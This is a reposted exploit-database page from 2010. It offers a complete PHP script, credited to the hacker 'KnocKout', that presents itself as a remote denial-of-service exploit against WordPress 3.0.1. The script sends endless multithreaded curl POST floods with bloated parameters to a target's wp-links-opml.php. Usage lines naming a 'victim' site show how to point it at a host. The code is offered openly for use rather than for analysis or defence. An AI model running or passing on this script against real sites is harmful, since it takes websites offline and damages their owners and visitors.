Home / os / win7

Wordpress 3.0.1 - Remote Denial Of Service Exploit

Posted on 10 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Wordpress 3.0.1 - Remote Denial Of Service Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================================
Wordpress 3.0.1 - Remote Denial Of Service Exploit
==================================================

###################################
*/ Wordpress 3.0.1 - Remote Denial Of Service Exploit
*/ Author : KnocKout
*/ Greatz : DaiMon,BARCOD3
*/ Contact : knockoutr@msn.com
*/ Category : Remote
                                   Cyber-Warrior.Org/CWKnocKout
                                   
                                    TÜM ÝSLAM ALEMÝNÝN RAMAZAN BAYRAMI MÜBAREK OLSUN
                                    
                                    
##################################
SPECÝAL THANKS
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

##################Exploit Codes###################################

&lt;?php

// Curl php5 ;)

function info()
{
	echo &quot;##################################################################
&quot;;
	echo &quot;# Wordpress 3.0.1 - Remote Denial Of Service Exploit
&quot;;
	echo &quot;# Author: KnocKout
&quot;;
	echo &quot;# Greatz : DaiMon,BARCOD3
&quot;;
	echo &quot;##################################################################
&quot;;
	echo &quot;# php poc.php target
&quot;;
	echo &quot;# php poc.php http://www.victim.com/PATH/ 20 5
&quot;;
	echo &quot;________________________________________
&quot;;
	exit;
}

if($argc !== 4 || !preg_match('#^d+$#', $argv[2]) || !preg_match('#^d+$#', $argv[3]))
{
	info();
}

$url = $argv[1];
$threads = (int) $argv[2];
$timeout = (int) $argv[3];

$ptimeout = $timeout * 100;

$packet = implode('+', range(100,999));

while(1)
{
	$m = curl_multi_init();

	for($i = 0; $i &lt; $threads; $i++)
	{
		$c[$i] = curl_init();
		$opts = array
		(
			CURLOPT_URL		=&gt; $url . 'wp-links-opml.php?link_cat=--0-0-0-0-0-0-0-0-0-0-0--0-0-0-0-0-0-0-0-0-0-0--0-0-0-0-0-0-0-0-0-0-0--0-0-0-0-0-0-0-0-0-0-0',
			CURLOPT_USERAGENT	=&gt; 'Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.5.24 Version/10.52',
			CURLOPT_ENCODING	=&gt; 'gzip, deflate',
			CURLOPT_POST		=&gt; 1,
			CURLOPT_POSTFIELDS	=&gt; 'search_keywords='. $packet .'0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
			CURLOPT_RETURNTRANSFER	=&gt; 1,
			CURLOPT_TIMEOUT		=&gt; $timeout,
		);
		curl_setopt_array($c[$i], $opts);
		curl_multi_add_handle($m, $c[$i]);
	}

	$t = 0;
	do
	{
		curl_multi_exec($m, $r);
		usleep(100000);

		$t++;

		if($t &gt; $ptimeout)
		{
			curl_multi_close($m);
			for($i = 0; $i &lt; $threads; $i++)
			{
				curl_close($c[$i]);
			}
			break;
		}
	}
	while($r &gt; 0);

	echo '.';
}
?&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-10]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :